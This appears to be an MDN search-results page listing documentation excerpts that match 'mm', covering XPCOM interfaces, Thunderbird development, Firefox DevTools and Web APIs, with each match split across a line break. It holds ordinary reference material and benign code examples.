umn([in] long column ); [propget] hresult selectedcells([out, size_is(, nselectedcells,)] iunknown cells, [out] long nselectedcells ); [propget] hresult selectedcolumns([out, size_is(, ncolumns)] long selectedcolumns, [out] long ncolumns ); [propget] hresult selectedrows([out, size_is(, nrows)] long selectedrows, [out] long nrows ); hresult selectrow([in] long row ); [propget] hresult su
mmary([out] iunknown accessible ); hresult unselectcolumn([in] long column ); hresult unselectrow([in] long row ); methods caption() returns the caption for the table.
...su
mmary() returns the su
mmary description of the table.
...[propget] hresult su
mmary( [out] iunknown accessible ); parameters accessible returns a reference to an implementation dependent accessible object representing the table's su
mmary or a null pointer if the table does not support a su
mmary.
mozIStorageService
if this method throws ns_error_file_corrupted, it's reco
mmended that you call mozistorageservice.backupdatabasefile() to back up the database so that user data is not lost (although we have no way of recovering this data yet).
...if this value is false, it is strongly reco
mmended that the database be backed up with mozistorageconnection.backupdb() so user data is not lost.
...if this method throws ns_error_file_corrupted, it's reco
mmended that you call mozistorageservice.backupdatabasefile() to back up the database so that user data is not lost (although we have no way of recovering this data yet).
nsIAccessibleTable
accessible/public/nsiaccessibletable.idlscriptable please add a su
mmary to this article.
... note: renamed from selectedrowscount in gecko 1.9.2 su
mmary astring the su
mmary description for the table.
... for example, @su
mmary attribute on html:table element.
nsIClassInfo
see nsiprogra
mminglanguage.constants for a list of possible values.
... for example, if asked for the helper for nsiprogra
mminglanguage::javascript this might return an object that can be nsisupports.queryinterface()'d into the nsixpcscriptable interface to assist xpconnect in supplying javascript specific behavior to callers of the instance object.
...nsiprogra
mminglanguage defines language identifiers that may be passed for this parameter.
nsICompositionStringSynthesizer
ompositionstringsynthesizer.attr_convertedtext); compositionstringsynthesizer.appendclause("bar".length, compositionstringsynthesizer.attr_selectedconvertedtext); compositionstringsynthesizer.appendclause("-buzz".length, compositionstringsynthesizer.attr_convertedtext); compositionstringsynthesizer.setcaret("foo-bar".length, 0); compositionstringsynthesizer.dispatchevent(); finally, when you co
mmits composition with the last composition string "foo-bar-buzz": // deprecated in 36, first, dispatch co
mmit string without clause information compositionstringsynthesizer.setstring("foo-bar-buzz"); compositionstringsynthesizer.dispatchevent(); // then, dispatch compositionend with the co
mmit string domwindowutils.sendcompositionevent("compositionend", "foo-bar-buzz", ""); starting gecko 36, y...
...ou can do it simpler: domwindowutils.sendcompositionevent("compositionco
mmitasis", "", ""); if you need to co
mmit composition with different co
mmit string gecko 36 or later, you can use "compositionco
mmit": domwindowutils.sendcompositionevent("compositionco
mmit", "foo-bar-buzz", ""); method overview void appendclause(in unsigned long alength, in unsigned long aattribute); boolean dispatchevent(); void setcaret(in unsigned long aoffset, in unsigned long alength); void setstring(in astring astring); constants constant value description attr_raw_input 0x02 a clause attribute.
...in other words, co
mmits composition string.
nsIContentFrameMessageManager
examples once you obtain the conten frame messge manager, you can send messages to listeners who registered with services.
mm.addmessagelistener get content message manager from browser this could would run in a nsidomwindow scope.
... var acf
mm = gbrowser.selectedbrowser._docshell.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsicontentframemessagemanager); get content message manager from content window window here is a html window or any window inside a tab, this code would run from a framescript.
... var acf
mm = window.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidocshell) .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsicontentframemessagemanager); ...
nsIDBFolderInfo
as a service: var dbfolderinfo = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsidbfolderinfo); method overview long andflags(in long flags); void changeexpungedbytes(in long delta); void changenu
mmessages(in long delta); void changenumunreadmessages(in long delta); boolean getbooleanproperty(in string propertyname, in boolean defaultvalue); void getcharacterset(out acstring charset, out boolean overriden); void getcharactersetoverride(out boolean charactersetoverride); obsolete since gecko 1.8 string getcharptrc...
... imaphierarchyseparator wchar imaptotalpendingmessages long imapuidvalidity long imapunreadpendingmessages long knownartsset string locale astring mailboxname astring nu
mmessages long numunreadmessages long sortorder nsmsgviewsortordervalue sorttype nsmsgviewsorttypevalue version unsigned long viewflags nsmsgviewflagstypevalue viewtype nsmsgviewtypevalue methods and...
...ags() long andflags( in long flags ); parameters flags missing description return value missing description exceptions thrown missing exception missing description changeexpungedbytes() void changeexpungedbytes( in long delta ); parameters delta missing description exceptions thrown missing exception missing description changenu
mmessages() void changenu
mmessages( in long delta ); parameters delta missing description exceptions thrown missing exception missing description changenumunreadmessages() void changenumunreadmessages( in long delta ); parameters delta missing description exceptions thrown missing exception missing description getbooleanproperty()...
nsIDOMWindowInternal
it provides many of the co
mmon functions used in javascript such as alert() or open().
...if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">open(in domstring url, in domstring name, in domstring options) nsidomwindow nsisupports aextraargument) void close() void updateco
mmands(in domstring action) boolean find([optional] in domstring str,[optional] in boolean casesensitive, [optional] in boolean backwards, [optional] in boolean wraparound, [optional] in boolean wholeword, [optional] in boolean searchinframes, [optional] in boolean showdialog) domstring atob(in domstring aasciistring) domstring btoa(in domstring abase64data) nsiv...
... url nsido
mmozurlproperty readonly: a dom url object, which provides the window.url.createobjecturl() and window.url.revokeobjecturl() methods.
nsIEffectiveTLDService
it is not reco
mmended to use this interface for determining whether a given string "is a domain name".
... note: it is strongly reco
mmended that you use getbasedomain() if a suitable nsiuri is available.
... note: it is strongly reco
mmended to use getbasedomain() if a suitable nsiuri is available.
nsILoginManager
javascript callers can simply use the array's length property and supply a du
mmy argument for this parameter.
...javascript callers can simply use the array's length property and supply a du
mmy argument for this parameter.
...javascript callers can simply use the array's length property and supply a du
mmy argument for this parameter.
nsIMessageWakeupService
to indicate a wakeup request in a manifest file, add a line that looks something like this: category wakeup-request nscomponent @mozilla.org/myservice;1,nsimyinterface,getservice,mymessage1,mymessage2[,..] the category entry value consists of a co
mma separate string that contains: the contract id for your component (e.g.
... a co
mma-separated list of messages for which your component should be instantiated.
... alternatively, it is possible to register a wakeup entry progra
mmatically via the nsicategorymanager interface.
nsIMsgWindow
mailnews/base/public/nsimsgwindow.idlscriptable please add a su
mmary to this article.
...method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowco
mmands nsimsgwindowco
mmands this allows the backend code to send co
mmands to the ui, such as clearmsgpane.
...it clears out the content listener, the windowco
mmands, the statusfeedback and the docshell objects.
nsINavBookmarkObserver
d short aitemtype, in nsiuri auri, in autf8string atitle, in prtime adateadded, in acstring aguid, in acstring aparentguid); void onitemchanged(in long long aitemid, in acstring aproperty, in boolean aisannotationproperty, in autf8string anewvalue, in prtime alastmodified, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); void onite
mmoved(in long long aitemid, in long long aoldparentid, in long aoldindex, in long long anewparentid, in long anewindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring anewparentguid); void onitemremoved(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in acstring aguid, in acstring aparentgu...
... onite
mmoved() this method notifies this observer that an item has been moved.
... void onite
mmoved( in long long aitemid, in long long aoldparentid, in long aoldindex, in long long anewparentid, in long anewindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring anewparentguid ); parameters aitemid the id of the item that was moved.
nsINavHistoryResultViewObserver
onperformaction() this method provides a co
mmand api that can be used to invoke co
mmands on the selection.
... onperformactiononrow() this method provides a co
mmand api that can be used to invoke co
mmands on the specified row.
... onperformactiononcell() this method provides a co
mmand api that can be used to invoke co
mmands on a specified cell.
nsIParserUtils
ring converttoplaintext(in astring src, in unsigned long flags, in unsigned long wrapcol); nsidomdocumentfragment parsefragment(in astring fragment, in unsigned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element); astring sanitize(in astring src, in unsigned long flags); constants constant value description sanitizerallowco
mments (1 << 0) flag for sanitizer: allow co
mment nodes.
... by default, co
mments and css is removed.
... to preserve co
mments, use sanitizerallowco
mments.
nsIProtocolProxyService
proxy auto config (pac) may perform a synchronous dns query, which may not return i
mmediately.
...this method is intended as a substitute for resolve when the result is not needed i
mmediately.
...it is reco
mmended that any extensions that choose to call this method make their position value configurable at runtime (perhaps via the preferences service).
nsIStackFrame
xpcom/base/nsiexception.idlscriptable please add a su
mmary to this article.
... language pruint32 see nsiprogra
mminglanguage for a list of language constants.
... languagename string see nsiprogra
mminglanguage for a list of language constants.
nsIStyleSheetService
layout/base/nsistylesheetservice.idlscriptable please add a su
mmary to this article.
...sheets added via this api take effect on all documents, including already-loaded ones, i
mmediately.
...the removal takes effect i
mmediately, even for already-loaded documents.
XPCOM reference
in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.nsicookie2 mozilla 1 8 branchnsimsgsearchvaluedefined in co
mm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages.
...for example to move forward a message, you would call:nsmsgsearchopvaluedefined in co
mm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl nsmsgviewco
mmandcheckstatethe nsmsgviewco
mmandcheckstate interface contains constants used for co
mmand status in thunderbird.
... it is (as far as i can tell) not currently used anywhere in thunderbird.nsmsgviewco
mmandtypethe nsmsgviewco
mmandtype interface contains constants used for co
mmands in thunderbird.
XPCOM Thread Synchronization
prlock* mlock; prmonitor*
mmonitor; prcondvar* mcvar; fooconstructor() { } nsresult init() { mlock = nsautolock::newlock("foo lock"); // check for null
mmonitor = nsautomonitor::newmonitor("foo monitor"); // check for null mcvar = pr_newcondvar(mrawlock); // check for null // ...
... } new construction using namespace mozilla; mutex mlock; monitor
mmonitor; condvar mcvar; fooconstructor() : mlock("foo lock"),
mmonitor("foo monitor"), mcvar(mlock, "foo condvar") { } nsresult init() { // ...
... concurrentmethod() { nsautolock al(mlock); nsautomonitor am(
mmonitor); if (needexpensivecomputation()) { nsautounlock au(mlock); } am.wait(); pr_notifycondvar(mcvar); } new usage using namespace mozilla; concurrentmethod() { mutexautolock al(mlock); monitorautoenter am(
mmonitor); if (needexpensivecomputation()) { mutexautounlock au(mlock); } am.wait(); mcvar->notify(); } mozilla synchronization api reference the mozilla:: namespace exports the following synchronization primitives.
Frequently Asked Questions
no matter which code pattern you use to solve this problem, you should co
mment it, e.g., // warning: this getter doesn't addref() its result.
... the c++ progra
mming language (3rd edition) by bjarne stroustrup.
... people don box is a smart guy who has been writing about com progra
mming for a long time.
Reference Manual
because a few key routines are factored out into a co
mmon non-template base class, the actual underlying pointer is stored as an nsisupports* (except in debug builds where nscap_feature_debug_ptr_types is turned on).
...see code bloat [long, su
mmary at top] for details, though the reco
mmendations from that document are re-iterated here.
...prefer destruction to assignment prefer do_queryinterface to calling queryinterface iterating there is a very co
mmon idiom for iterating over data-structures with normal pointers, e.g., // iterating with pointers to non-xpcom objects...
Xptcall Porting Status
hopefully the co
mments in the code are detailed enough to help people attempting a port.
... <font color="white">done</font> linux ia64 hp ulrich drepper <drepper@redhat.com> bug 40950 co
mment 15 <font color="white">help!</font> all others!
...just because these people are listed here does not mean that they have co
mmited themselves to do the work.
Xray vision
the security machinery in gecko ensures that there's asy
mmetric access between code at different privilege levels: so for example, content code can't access objects created by chrome code, but chrome code can access objects created by content.
... waiving xray vision xray vision is a kind of security heuristic, designed to make most co
mmon operations on untrusted objects simple and safe.
... the aim of xray vision is to make most co
mmon operations simple and safe, avoiding the need to access the underlying object except in more involved cases.
Mozilla technologies
apng is a simpler alternative to mng, providing a spec suitable for the most co
mmon usage of animated images on the internet.docshelldocshell is the second iteration of what originally started out as webshell.
...from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to co
mmon problems encountered by teams shipping html-based interfaces inside firefox.morkmork is a database file format invented by david mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
... toolkit apithe mozilla toolkit is a set of progra
mming interfaces (apis) built on top of gecko which provide advanced services to xul applications.
Test-Info
the test-info task group runs per-co
mmit, only on mozilla-central.
... running test-info locally "test-info" is a mach co
mmand and can be run from any source tree.
... test-info has several sub-co
mmands; the "report" sub-co
mmand is used by the test-info tasks mozilla-central$ mach help test-info report to reproduce test-info(all): mozilla-central$ mach test-info report --show-tests --show-su
mmary --show-activedata running test-info on try to run these tasks on try, use something like: mach try fuzzy -q test-info contact information test-info is maintained by :gbrown.
Autoconfiguration in Thunderbird
guessing if all other mechanisms failed, thunderbird tries to guess the configuration, by trying co
mmon server names like imap.<domain>, smtp.<domain>, mail.<domain> etc., and, when a mail server answers, checking whether it supports ssl, starttls and encrypted passwords (cram-md5).
...either, you can redirect them to a co
mmon hostname: server { listen 10.2.3.4:80; #use your server's public ip here!
... server_name autoconfig.*; return 301 http://autoconfig.hoster.com$request_uri; } or serve them directly from a co
mmon directory: server { listen 10.2.3.4:80; #again, use your server's public ip here!
Main Windows
the rest is loaded from overlays: mailwindowoverlay.xul this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the co
mmands, keysets, and context menus of thunderbird, along with a whole lot of javascript.
... mailoverlay.xul a really small overlay that only adds a few “new message” and “new card” co
mmands to the menus, along with their associated javascript.
... mailwindowoverlay.xul this is the red sections shown in the interface above, including the toolbars, notification bars and the status bar.it also includes most of the co
mmands, keysets, and context menus of thunderbird, along with a whole lot of javascript.
Thunderbird Binaries
nightly builds from the co
mm-central trunk the trunk is the central source code that is used for continuous and ongoing development.
... latest english trunk builds are available at: https://archive.mozilla.org/pub/thunderbird/nightly/latest-co
mm-central/ latest localized trunk builds are available at: https://archive.mozilla.org/pub/thunderbird/nightly/latest-co
mm-central-l10n/ note: please use http://ftp.stage.mozaws.net/pub/thunderbird/nightly/latest-co
mm-central/ because the above two links currently do not work.
...you should see a string that looks something like this: co
mm-central-1.9.2 branch: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9.2.2pre) gecko/20100308 lanikai/3.1b1pre co
mm-central-trunk: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9.3a1pre) gecko/20090826 shredder/3.1a1pre the part that you want to note is the gecko revision number (rv) and the thunderbird version string.
Building a Thunderbird extension 1: introduction
thunderbird is a co
mmunity managed open-source email application.
... documentation thunderbird extensions (documentation overview) firefox addons developer guide (many topics are applicable to thunderbird) mozilla cross-reference source code browser ("co
mm-central" contains the thunderbird code repository) co
mmunity the thunderbird development co
mmunity has a mailing list with an extensive searchable archive with an extensive searchable archive.
... you can also talk with the co
mmunity on the #maildev irc channel.
Theme Packaging
theme file layout thunderbird themes are packaged in an xpi file with the following structure: theme.xpi: install.rdf preview.png icon.png chrome/ browser/files co
mmunicator/files global/files mozapps/files ...
...theme 1</em:name> <em:description>a test theme for thunderbird</em:description> <em:creator>ben goodger</em:creator> <em:contributor>john doe</em:contributor> <em:homepageurl>http://www.bengoodger.com/</em:homepageurl> <!-- front end integration hooks (used by theme manager)--> <em:internalname>newtheme1</em:internalname> </description> </rdf> the following are some co
mmon target application guids that you can use in your targetapplication properties: thunderbird {3550f703-e582-4d05-9a08-453d09bdfdc6} seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} pale moon {8de7fcbb-c55c-4fbe-bfc5-fc555c87dbc4} official references for toolkit api official references.
... structure of an installable bundle: describes the co
mmon structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration ...
Using MAPI with Thunderbird's Windows 7 developer builds
mapi (messaging application progra
mming interface) is a windows feature that allows applications to send files via a system's default mail application.
...(be sure to copy - not move - these files.) in the uninstall sub-directory of the bin directory, run these two co
mmands: helper.exe /setasdefaultappglobal helper.exe /setasdefaultappuser create an elevated shell and register the mapi proxy.dll as a com server.
... (one way to create an elevated shell is to invoke the co
mmand prompt from the start menu, right click, and select run as administrator.) in the elevated shell, change to the objdir/mozilla/dist/bin directory and enter this co
mmand: regsvr32 mapiproxy_inuse.dll ...
Using the Mozilla source server
using the source server in windbg in the windbg co
mmand line, type .srcfix and hit enter.
...symbols will load and then, if you're using a cvs build, when you try to step into or step over a confirmation window will appear asking if you trust the cvs co
mmand that source server is trying to run.
... after the co
mmand executes, the source file will load in the window.
Streams - Plugins
it can have one of these values: npres_done (most co
mmon): normal completion; all data was sent to the instance.
... the buffer passed to npp_write may acco
mmodate more bytes than the maximum number returned from npp_writeready .
...the reason parameter represents the reason the stream was stopped, as follows: npres_done (most co
mmon): the stream completed normally; the plug-in sent all data to the browser.
Introduction to DOM Inspector - Firefox Developer Tools
one of the biggest and most i
mmediate advantages that this brings to your web and application development is that it makes it possible to find the markup and the nodes in which the interesting parts of a page or a piece of the user interface are defined.
... one co
mmon use of the dom inspector is to find the name and location of particular icon being used in the user interface, which is not an easy task otherwise.
...the following descriptions provide an overview of what these viewers are about: the dom nodes viewer shows attributes of nodes that can take them, or the text content of text nodes, co
mments, and processing instructions.
Use a source map - Firefox Developer Tools
to enable the debugger to work with a source map, you must: generate the source map include a co
mment in the transformed file, that points to the source map.
... the co
mment's syntax is like this: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map in the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html.
...the compiled source contains a co
mment like this, that points to a source map: //# sourcemappingurl=main.js.map in the debugger's source list pane, the original coffeescript source now appears as "main.coffee", and we can debug it just like any other source.
Debugger.Frame - Firefox Developer Tools
a frame is a visible frame if any of the following are true: it is running debuggee code; its i
mmediate caller is a frame running debuggee code; or it is a "debugger" frame, representing the continuation of debuggee code invoked by the debugger.
... the “i
mmediate caller” rule means that, when debuggee code calls a non-debuggee function, it looks like a call to a primitive: you see a frame for the non-debuggee function that was accessible to the debuggee, but any further calls that function makes are treated as internal details, and omitted from the stack trace.
... (note that the debuggee is not considered an “i
mmediate caller” of handler methods it triggers.
Debugger-API - Firefox Developer Tools
if you have a strong co
mmand of the javascript language, you should have all the background you need to use debugger successfully, even if you have never looked into the language’s implementation.
...cross-thread, cross-process, and cross-device tools must use debugger to observe the debuggee from within the same thread, and then handle any needed co
mmunication themselves.
... gecko-specific features while the debugger core api deals only with concepts co
mmon to any javascript implementation, it also includes some gecko-specific features: [global tracking][global] supports debugging all the code running in a gecko instance at once—the ‘chrome debugging’ model.
Dominators - Firefox Developer Tools
with a garbage-collected language, like javascript, the progra
mmer doesn't generally have to worry about deallocating memory.
... if node b dominates node a, but does not dominate any of a's other dominators, then b is the i
mmediate dominator of a: one slight subtlety here is that if an object a is referenced by two other objects b and c, then neither object is its dominator, because you could remove either b or c from the graph, and a would still be retained by its other referrer.
... instead, the i
mmediate dominator of a would be its first co
mmon ancestor: see also dominators in graph theory.
Taking screenshots - Firefox Developer Tools
by default, the image file will be named screen shot yyy-
mm-dd at hh.
mm.ss.png.
... the co
mmand has the following optional parameters: co
mmand type description --clipboard boolean when present, this parameter will cause the screenshot to be copied to the clipboard.
...small portions of this section have been borrowed from his firefox’s :screenshot co
mmand article.
AbortController - Web APIs
co
mmunicating with a dom request is done using an abortsignal object.
... properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to co
mmunicate with/abort a dom request.
... specifications specification status co
mment domthe definition of 'abortcontroller' in that specification.
AddressErrors.organization - Web APIs
for example, if validation simply ensures that only permitted characters are included in the organization's name, this might return a string such as "the organization name may only contain the letters a-z, digits, spaces, and co
mmas." if the organization value was validated successfully, this property is not included in the addresserrors object.
... specifications specification status co
mment payment request apithe definition of 'addresserrors.organization' in that specification.
... candidate reco
mmendation initial definition.
Animation.pause() - Web APIs
example animation.pause() is used many times in the alice in web animations api land growing/shrinking alice game, largely because animations created with the element.animate() method i
mmediately start playing and must be paused manually if you want to avoid that: // animation of the cupcake slowly getting eaten up var no
mmingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // doesn't actuall...
...y need to be eaten until a click event, so pause it initially: no
mmingcake.pause(); additionally, when resetting : // an all-purpose function to pause the animations on alice, the cupcake, and the bottle that reads "drink me." var stopplayingalice = function() { alicechange.pause(); no
mmingcake.pause(); drinking.pause(); }; // when the user releases the cupcake or the bottle, pause the animations.
... cake.addeventlistener("mouseup", stopplayingalice, false); bottle.addeventlistener("mouseup", stopplayingalice, false); specifications specification status co
mment web animationsthe definition of 'play()' in that specification.
Animation.persist() - Web APIs
examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.co
mmitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves.
...this will be active for each animation by default, or persisted if the persist() call is unco
mmented.
... specifications specification status co
mment web animationsthe definition of 'persist()' in that specification.
Animation.replaceState - Web APIs
examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.co
mmitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves.
...this will be active for each animation by default, or persisted if the persist() call is unco
mmented.
... specifications specification status co
mment web animationsthe definition of 'animation.replacestate' in that specification.
Animation - Web APIs
animation.co
mmitstyles() co
mmits the end styling state of an animation to the element being animated, even after that animation has been removed.
...the related javascript features are: animation.co
mmitstyles() for co
mmiting the end styling state of an animation to the element being animated, even after that animation has been removed.
... designing safer web animation for motion sensitivity · an a list apart article an introduction to the reduced motion media query | css-tricks responsive design for motion | webkit mdn understanding wcag, guideline 2.2 explanations understanding success criterion 2.2.2 | w3c understanding wcag 2.0 specifications specification status co
mment web animationsthe definition of 'animation' in that specification.
AudioBufferSourceNode - Web APIs
audiobuffersourcenode.start() used to schedule playback of the audio data contained in the buffer, or to begin playback i
mmediately.
...the co
mments should clearly explain what is going on.
... specifications specification status co
mment web audio apithe definition of 'audiobuffersourcenode' in that specification.
AudioScheduledSourceNode.start() - Web APIs
if no time is specified, then the sound begins playing i
mmediately.
...a value of 0 (or omitting the when parameter entirely) causes the sound to start playback i
mmediately.
... context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* schedule the start and stop times for the oscillator */ osc.start(context.currenttime + 2); osc.stop(context.currenttime + 3); specifications specification status co
mment web audio apithe definition of 'start()' in that specification.
AudioScheduledSourceNode.stop() - Web APIs
if no time is specified, then the sound stops playing i
mmediately.
...omitting this parameter, specifying a value of 0, or passing a negative value causes the sound to stop playback i
mmediately.
...*/ osc.start(); osc.stop(context.currenttime + 1); specifications specification status co
mment web audio apithe definition of 'stop()' in that specification.
AudioWorkletNode.parameters - Web APIs
the read-only parameters property of the audioworkletnode interface returns the associated audiopara
mmap — that is, a map-like collection of audioparam objects.
... syntax audioworkletnodeinstance.parameters value the audiopara
mmap object containing audioparam instances.
...udioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status co
mment web audio apithe definition of 'parameters' in that specification.
AudioWorkletNode.port - Web APIs
it can be used to co
mmunicate between the node and its associated audioworkletprocessor.
... examples to demonstrate bidirectional co
mmunication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests from its audioworkletnode.
... specifications specification status co
mment web audio apithe definition of 'port' in that specification.
AudioWorkletNode - Web APIs
audioworkletnode.port read only returns a messageport used for bidirectional co
mmunication between the node and its associated audioworkletprocessor.
... audioworkletnode.parameters read only returns an audiopara
mmap — a collection of audioparam objects.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) specifications specification status co
mment web audio apithe definition of 'audioworkletnode' in that specification.
AudioWorkletProcessor.port - Web APIs
it can be used to co
mmunicate between the processor and the audioworkletnode to which it belongs.
... examples to demonstrate bidirectional co
mmunication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests from its audioworkletnode.
... specifications specification status co
mment web audio apithe definition of 'port' in that specification.
AuthenticatorAttestationResponse.getTransports() - Web APIs
their values may be : "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field co
mmunication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentialinfo.response.gettransports(); console.table(transports); // may be something like ["internal", "nfc", "usb"] }).catch(function (err) { console.error(err); }); specifications specification status co
mment web authentication: an api for accessing public key credentials level 1the definition of 'gettransports()' in that specification.
... reco
mmendation initial definition.
BaseAudioContext.createBuffer() - Web APIs
examples first, a couple of simple trivial examples, to help explain how the parameters are used: var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(2, 22050, 44100); if you use this call, you will get a stereo buffer (two channels), that, when played back on an audiocontext running at 44100hz (very co
mmon, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames / 44100hz = 0.5 seconds.
...the co
mment should clearly explain what is going on.
...the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); specifications specification status co
mment web audio apithe definition of 'createbuffer()' in that specification.
BaseAudioContext - Web APIs
baseaudiocontext.createbiquadfilter() creates a biquadfilternode, which represents a second order filter configurable as several different co
mmon filter types: high-pass, low-pass, band-pass, etc baseaudiocontext.createbuffer() creates a new, empty audiobuffer object, which can then be populated by data and played via an audiobuffersourcenode.
... baseaudiocontext.createiirfilter() creates an iirfilternode, which represents a second order filter configurable as several different co
mmon filter types.
...o context declaration: const audiocontext = new audiocontext(); cross browser variant: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audiocontext = new audiocontext(); const oscillatornode = audiocontext.createoscillator(); const gainnode = audiocontext.creategain(); const finish = audiocontext.destination; specifications specification status co
mment web audio apithe definition of 'baseaudiocontext' in that specification.
BasicCardResponse - Web APIs
billing address is a paymentaddress object } } specifications specification status co
mment basic card paymentthe definition of 'basiccardresponse' in that specification.
...79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true) and the dom.payments.request.supportedregions preference (needs to be set to a co
mma-delineated list of one or more 2-character iso country codes indicating the countries in which to support payments (for example, us,ca.).
...x android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true) and the dom.payments.request.supportedregions preference (needs to be set to a co
mma-delineated list of one or more 2-character iso country codes indicating the countries in which to support payments (for example, us,ca.).
CSSGroupingRule - Web APIs
interface cssgroupingrule : cssrule { readonly attribute cssrulelist cssrules; unsigned long insertrule (domstring rule, unsigned long index); void deleterule (unsigned long index); } properties co
mmon to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all properties of this class.
... methods co
mmon to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all methods of this class.
... specification specification status co
mment css object model (cssom)the definition of 'cssgroupingrule' in that specification.
Managing screen orientation - Web APIs
adjusting layout based on the orientation one of the most co
mmon cases for orientation changes is when you want to revise the layout of your content based on the orientation of the device.
...cras co
mmodo quam non tortor consectetur eget rutrum dolor ultricies.
...nullam quis malesuada est.</p> css relies on the orientation media query to handle specific styles based on the screen orientation /* first let's define some co
mmon styles */ html, body { width : 100%; height: 100%; } body { border: 1px solid black; -moz-box-sizing: border-box; box-sizing: border-box; } p { font : 1em sans-serif; margin : 0; padding: .5em; } ul { list-style: none; font : 1em monospace; margin : 0; padding: .5em; -moz-box-sizing: border-box; box-sizing: border-box; background: black; } li { display: inline-block; margin : 0; padding: 0.5em; background: white; } once we have some co
mmon styles we can start defining a special case for the orientation /* for portrait, we want the tool bar on...
CSS Object Model (CSSOM) - Web APIs
managing screen orientation specifications specification status co
mment css typed om level 1 working draft css painting api level 1 working draft extended the css interface with the paintworklet static property.
... screen orientation api working draft css fonts module level 3 candidate reco
mmendation css animations working draft css transitions working draft css custom properties for cascading variables module level 1 candidate reco
mmendation css conditional rules module level 3 candidate reco
mmendation defined the css interface.
... css device adaptation working draft css counter styles level 3 candidate reco
mmendation document object model (dom) level 2 style specification obsolete initial definition.
CSS Painting API - Web APIs
for example: aside { background-image: paint(mypaintedimage); } the api defines paintworklet, a worklet that can be used to progra
mmatically generate an image that responds to computed style changes.
... interfaces paintworklet progra
mmatically generates an image where a css property expects a file.
... specifications specification status co
mment css painting api level 1 working draft initial definition.
CanvasRenderingContext2D.arcTo() - Web APIs
this method is co
mmonly used for making rounded corners.
...this is one of the method's most co
mmon uses.
